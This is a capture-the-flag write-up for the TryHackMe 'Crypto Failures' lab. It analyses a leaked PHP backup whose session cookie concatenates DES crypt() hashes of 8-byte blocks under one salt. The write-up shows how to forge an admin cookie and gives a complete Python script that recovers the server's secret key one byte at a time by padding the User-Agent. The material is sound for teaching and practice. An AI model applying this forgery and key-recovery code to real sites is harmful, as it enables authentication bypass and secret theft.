# TryHackMe Crypto Failures—Writeup

Welcome back to my Writeup!! Today, I Will show the step-by-step on how I solved **Crypto Failures** from TryHackMe!! We'll dive deep into the challenge, explore the vulnerabilities, and go over the thought process and tools I used to crack them. Whether you're new to cryptography or sharpening your skills, there's something here for you to learn. Let’s get started and unravel the flaws together!

**Reconnaissance**

To begin, I performed a scan on the target using **Nmap** to identify any open ports and discover potential endpoints.

`nmap -sV -sC -v <target_ip>`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FLSdcyBP9rowRbalMCsut%2FScreenshot%20(685).png?alt=media&#x26;token=fa09e72e-df32-4a44-920e-7549c1fb52f0" alt=""><figcaption><p>22 and 80 are open</p></figcaption></figure>

I then navigated to the web interface to begin exploring the application's behavior.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F4hMnmsrWPrchTpK7nfOY%2FScreenshot%20(684).png?alt=media&#x26;token=30cede35-df85-4e26-9a48-53cb6689198c" alt=""><figcaption><p>Just plain interface with <strong>Crypt</strong> highlighting.</p></figcaption></figure>

As I check the source code of the page, this is what I've found.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F5jhoV33afNOJH2CZKvXH%2FScreenshot%20(686).png?alt=media&#x26;token=6bc574b0-091a-4f76-a275-555505e02209" alt=""><figcaption><p><em>TODO remember to remove .bak files</em></p></figcaption></figure>

**Web Flag**&#x20;

While brute-forcing subdirectories, I discovered that the site was using **index.php**. This led me to suspect there might be a backup version of the file, so I tried accessing **index.php.bak**.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FTOI115OZ8t7m2Lm5s7MF%2FScreenshot%20(687).png?alt=media&#x26;token=2f55a0fb-7155-4f6a-9683-0124be09f064" alt=""><figcaption></figcaption></figure>

This is the code inside

```php
<?php
include('config.php');

function generate_cookie($user,$ENC_SECRET_KEY) {
    $SALT=generatesalt(2);
    
    $secure_cookie_string = $user.":".$_SERVER['HTTP_USER_AGENT'].":".$ENC_SECRET_KEY;

    $secure_cookie = make_secure_cookie($secure_cookie_string,$SALT);

    setcookie("secure_cookie",$secure_cookie,time()+3600,'/','',false); 
    setcookie("user","$user",time()+3600,'/','',false);
}

function cryptstring($what,$SALT){

return crypt($what,$SALT);

}


function make_secure_cookie($text,$SALT) {

$secure_cookie='';

foreach ( str_split($text,8) as $el ) {
    $secure_cookie .= cryptstring($el,$SALT);
}

return($secure_cookie);
}


function generatesalt($n) {
$randomString='';
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
for ($i = 0; $i < $n; $i++) {
    $index = rand(0, strlen($characters) - 1);
    $randomString .= $characters[$index];
}
return $randomString;
}



function verify_cookie($ENC_SECRET_KEY){


    $crypted_cookie=$_COOKIE['secure_cookie'];
    $user=$_COOKIE['user'];
    $string=$user.":".$_SERVER['HTTP_USER_AGENT'].":".$ENC_SECRET_KEY;

    $salt=substr($_COOKIE['secure_cookie'],0,2);

    if(make_secure_cookie($string,$salt)===$crypted_cookie) {
        return true;
    } else {
        return false;
    }
}


if ( isset($_COOKIE['secure_cookie']) && isset($_COOKIE['user']))  {

    $user=$_COOKIE['user'];

    if (verify_cookie($ENC_SECRET_KEY)) {
        
    if ($user === "admin") {
   
        echo 'congrats: ******flag here******. Now I want the key.';

            } else {
        
        $length=strlen($_SERVER['HTTP_USER_AGENT']);
        print "<p>You are logged in as " . $user . ":" . str_repeat("*", $length) . "\n";
            print "<p>SSO cookie is protected with traditional military grade en<b>crypt</b>ion\n";    
    }

} else { 

    print "<p>You are not logged in\n";
   

}

}
  else {

    generate_cookie('guest',$ENC_SECRET_KEY);
    
    header('Location: /');


}
?>
```

The application’s logic is relatively straightforward. It begins by including the **config.php** file. Although the variable **ENC\_SECRET\_KEY** is used in the main script (**index.php**), it's not defined there, implying that its value must come from config.php.

The next part of the script checks if the **secure\_cookie** and **user** cookies are set. If they aren't, the application invokes the **generate\_cookie** function using the username **guest** and the **ENC\_SECRET\_KEY**. If both cookies are present, it instead calls the **verify\_cookie** function, passing in the same key.

When **verify\_cookie** returns **true**, the script checks the value of the **user** cookie. If it's set to **"admin"**, the flag is revealed. Otherwise, the application simply displays a message indicating the currently logged-in user.

Let’s break down the behavior when no cookies are initially set. The **generate\_cookie** function is first triggered. It calls **generatesalt(2)**, which produces a random two-byte salt using alphanumeric characters. It then constructs a string composed of the **user**, **User-Agent**, and **ENC\_SECRET\_KEY**, separated by colons. This string is passed to the **make\_secure\_cookie** function, along with the generated salt. The result becomes the **secure\_cookie** value, while the **user** is saved in another cookie.

Digging into **make\_secure\_cookie**, we see that it splits the input string into 8-byte chunks. Each chunk is processed through the **cryptstring** function using the provided salt. The resulting encrypted chunks are concatenated to form the final cookie value.

The **cryptstring** function itself is straightforward—it uses PHP’s built-in **crypt()** function to hash each chunk with the given salt.

Now, when cookies *are* present, the **verify\_cookie** function handles validation. It retrieves both cookies and reconstructs the original string using the **user, User-Agent, and ENC\_SECRET\_KEY**. Since all chunks share the same salt, and the first two bytes of each hash contain this salt, it extracts the salt from the first portion of the **secure\_cookie**. It then calls **make\_secure\_cookie** again using the reconstructed string and the extracted salt. Finally, it compares the newly generated cookie value with the existing **secure\_cookie** and returns the result of that comparison.

To give you an idea, here's an example

In this scenario, the username is set to **guest** and the User-Agent string is **Mozilla/5.0 (X11; Linux x86\_64; rv:128.0) Gecko/20100101 Firefox/128.0**

Here’s how the server puts together the string before hashing:

```
guest:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:SECRET_KEY
```

And the server returns the **secure\_cookie** as a hash in 8-byte blocks.

Example

```
"guest:Mo" = k0asAVEwgsdsw
"zilla/5." = k0fdieAfwerds
.....
```

We can further verify that these hashes correspond to the blocks by manually computing the hashes:

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FPGvAySmHueBBfnh6I3Yc%2FScreenshot%20(689).png?alt=media&#x26;token=40390e94-86a1-4c69-9bdd-8db246dbbeb7" alt=""><figcaption><p>I blocked the flags since I already solved this challenge before I made this writeup hehe</p></figcaption></figure>

Now, how do we manipulate this? Pretty simple, just change the **guest:Mo** to **admin:Mo** and hash it with the same salt(ka).&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FCzAb2eSXUg5pRoQtTDqR%2FScreenshot%20(692).png?alt=media&#x26;token=3c3f86cb-2b13-4714-bae5-62e482625939" alt=""><figcaption></figcaption></figure>

After this, I've changed the beginning of the cookie with this new hash, send the request and here's the result

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F8gJVBsWyIcqRCNJa6cOU%2FScreenshot%20(693).png?alt=media&#x26;token=2a9c38f7-aa92-4093-a9bd-205cd893280a" alt=""><figcaption><p>Web Flag!</p></figcaption></figure>

**Final Flag**

The next step is to extract the secret key. Since we know the salt, we can now brute-force any 8-byte block. However, using a character set of 65 characters, each 8-byte block would result in **65⁸ permutations**—an enormous number of combinations, making a full brute-force attack impractical.

Fortunately, we can take advantage of how the application handles hashing to streamline the process. Since the input string is divided into 8-byte blocks before being hashed, and the user-controlled input comes at the beginning of the string, we can manipulate the length of the **User-Agent** header to isolate and target specific bytes.

The idea is to align the data in such a way that a single 8-byte block starts with known characters, leaving only one unknown byte to brute-force. For instance, sending an empty **User-Agent** would cause the string to be hashed as **guest::SECRET\_KEY**. The first 8-byte block becomes **guest::X**, where **X** is the first character of the secret key. By iterating over possible characters for X, hashing each attempt, and comparing it to the first segment of the **secure\_cookie** returned by the server, we can determine the correct value.

Repeating this process—adjusting the padding to progressively reveal each character—we can reconstruct the entire **SECRET\_KEY** one byte at a time, drastically reducing the brute-force complexity.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FhtUJoHFxASP6saE8w3ff%2FScreenshot%20(696).png?alt=media&#x26;token=dddcf420-b74a-4bcb-9e69-7f4d437465be" alt=""><figcaption></figcaption></figure>

When we modify the **User-Agent** to be **AAAAAAA**, the complete string that the server prepares for hashing becomes:\
**guest:AAAAAAA:\<SECRET\_KEY>**

This string is then broken into 8-byte blocks by the server, following its hashing logic. As a result:

* **Block 1** contains: **guest:AA** – This block isn’t relevant to our brute-force attempt.
* **Block 2** includes the segment: **AAAAA:\<first two bytes of SECRET\_KEY>**

Let’s say we’ve already identified the first character of the secret key — for instance, the letter **T**. That makes **Block 2** appear as:\
**AAAAA:T\<second character of SECRET\_KEY>**

Now, by iterating through all possible characters to fill in the unknown position after **T**, and appending each one to the known prefix **AAAAA:T**, we can hash each guess and compare the result to the second chunk of the **secure\_cookie**. Since our target block has shifted to the second 8-byte chunk, it makes sense to compare against the second hash.

This technique lets us reveal the key one character at a time, by controlling the alignment of the data in the hashed string, leveraging both padding and partial knowledge.

Following the same approach as earlier, we test each possible character and discover that appending **H** produces a matching hash. This confirms that the second character of the **SECRET\_KEY** is **H**.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FYTUfkwdHCGNPCLQW86LJ%2FScreenshot%20(695).png?alt=media&#x26;token=e6917a8f-bef6-4f9d-90cc-8303ec8e591a" alt=""><figcaption><p>It matched right? Take a look at the burpsuite response.</p></figcaption></figure>

From here, we can keep going and brute-force the third character the same way—by making sure the server hashes a block where only one byte is unknown, and the rest are already known. We can keep tweaking the **User-Agent** to make this happen each time. But instead of repeating this manually for every single character in the secret key, we can save ourselves the effort and write a Python script to automate the whole process.&#x20;

```python
#!/usr/bin/env python3
# Import necessary libraries
import crypt
import requests
import urllib.parse 
import string  
import time                 

# Base URL of the target application
BASE_ENDPOINT = "http://10.10.38.32/"

# Static part of the string to be hashed (usually the username)
ACCESS_ID = "guest:"

# Separator used in the string formatting
DELIMITER = ":"

# The set of characters we'll test during brute-force (printable ASCII characters)
CHARACTER_SET = string.printable

def retrieve_protected_token(user_identifier: str) -> str:
    """
    Sends a request with the given User-Agent and retrieves the decoded secure_cookie value.
    """
    print(f"\nInitiating connection to {BASE_ENDPOINT} with User-Agent: {user_identifier}")
    
    # Create a new session for consistent cookie handling
    session = requests.Session()

    # Send GET request with custom User-Agent
    response = session.get(BASE_ENDPOINT, headers={"User-Agent": user_identifier})
    print(f"Received response with status code: {response.status_code}")

    # Extract and decode the secure_cookie from the response
    token = session.cookies.get("secure_cookie")
    decoded_token = urllib.parse.unquote(token)
    print(f"Successfully retrieved and decoded secure token: {decoded_token[:10]}... (partial)")

    return decoded_token
    
def execute():
    """
    Attempts to brute-force and recover the secret key from the secure_cookie by aligning
    one unknown character per 8-byte chunk using padding and hash comparisons.
    """
    print(f"Starting decryption process with access ID: {ACCESS_ID}")
    print(f"Using delimiter: {DELIMITER}")
    print(f"Character set for testing includes: {CHARACTER_SET[:20]}... (partial)")

    uncovered = ""      # This will store the recovered secret key
    iteration = 0       # To track how many characters we have processed

    # Continue brute-forcing until no new character is found
    while True:
        iteration += 1
        print(f"\nStarting iteration {iteration}...")
        print(f"Current progress: {uncovered}")

        # Calculate how much padding is needed to align the target character into its own 8-byte block
        padding_size = (7 - len(ACCESS_ID + DELIMITER + uncovered)) % 8
        print(f"Calculating padding size: {padding_size} characters needed")

        # Build the User-Agent with padding (e.g., "A" * padding_size)
        user_identifier = "A" * padding_size
        print(f"Constructing user identifier with padding: {user_identifier}")

        # Build the full prefix: guest + padding + : + currently discovered key portion
        prefix = ACCESS_ID + user_identifier + DELIMITER + uncovered
        print(f"Building prefix for this round: {prefix}")

        # Determine which 8-byte block of the secure_cookie we're targeting
        block_position = len(prefix) // 8
        print(f"Targeting block at position: {block_position}")

        # Retrieve the secure_cookie value using the current User-Agent
        protected_token = retrieve_protected_token(user_identifier)

        # Extract the 13-character crypt hash from the correct block
        target_segment = protected_token[block_position * 13:(block_position + 1) * 13]
        print(f"Extracted target segment from token: {target_segment}")

        # The first two characters of a crypt hash represent the salt (a.k.a. "seasoning")
        seasoning = target_segment[:2]
        print(f"Using seasoning for hash: {seasoning}")

        character_found = False  # Flag to indicate if we successfully matched a character
        print(f"Beginning character testing with {len(CHARACTER_SET)} possible characters...")

        # Brute-force one character at a time by appending to the current prefix
        for symbol in CHARACTER_SET:
            print(f"Testing character: {symbol}", end=" ")

            # Only take the last 8 characters (aligns with how the server hashes blocks)
            candidate = (prefix + symbol)[-8:]
            candidate_hash = crypt.crypt(candidate, seasoning)

            # If hashes match, we found the correct next character
            if candidate_hash == target_segment:
                uncovered += symbol
                print(f"\nSuccess! Matched hash with character: {symbol}")
                print(f"Current decryption state: {uncovered}")
                character_found = True
                time.sleep(0.5)
                break
            else:
                print(".", end="", flush=True)

        # If no match is found, we've likely reached the end of the key
        if not character_found:
            print(f"\nNo matching character found. Decryption process completed.")
            break

    # Final output of the uncovered secret key
    print(f"\nFinal decrypted result: {uncovered}")
    print("Decryption process has successfully concluded!")

# Entry point of the script
if __name__ == "__main__":
    execute()

```

Run the script and it will print each character of the secret key (the flag) until it finds the entire string.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fv7P6vhBWuHmbL4jp1jSU%2FScreenshot%20(698).png?alt=media&#x26;token=2124f9f3-5210-4941-a381-3b4de7b31c2b" alt=""><figcaption><p>DONE!!</p></figcaption></figure>

We've successfully completed the Crypto Failures Challenge!!!

**Conclusion**

Throughout this process, we successfully navigated the cryptographic challenge step by step, starting with identifying the structure of the hashing mechanism and leveraging the predictable behavior of the system. Initially, we analyzed how the secure token was generated, understood the structure of the hashed blocks, and identified key patterns in the encryption process. From there, we devised an efficient brute-force approach by exploiting the fact that the system uses 8-byte blocks and a known salt.

Rather than brute-forcing the entire secret key at once, we carefully padded the User-Agent to isolate and target individual 8-byte blocks. By systematically testing possible characters for each block, starting with the first character and moving through the key one step at a time, we narrowed down the solution without needing to test every possible combination. This iterative process, combined with a bit of automation through a Python script, allowed us to uncover the key more efficiently than manual methods would have.

The challenge also highlighted the importance of understanding how cryptographic systems generate and hash tokens, and how such knowledge can be applied to bypass security mechanisms. By successfully retrieving the secret key, we demonstrated a clear example of how methodical brute-forcing, coupled with an understanding of system mechanics, can lead to the decryption of protected data.

Ultimately, the entire process reinforced key principles in cryptography and cybersecurity: the significance of hashing functions, the impact of predictable patterns in encryption, and the power of careful planning and automation in breaking cryptographic challenges. With the secret key recovered, the next phase of the challenge was made possible, proving once again that patience, persistence, and smart strategy are vital in overcoming cybersecurity obstacles.
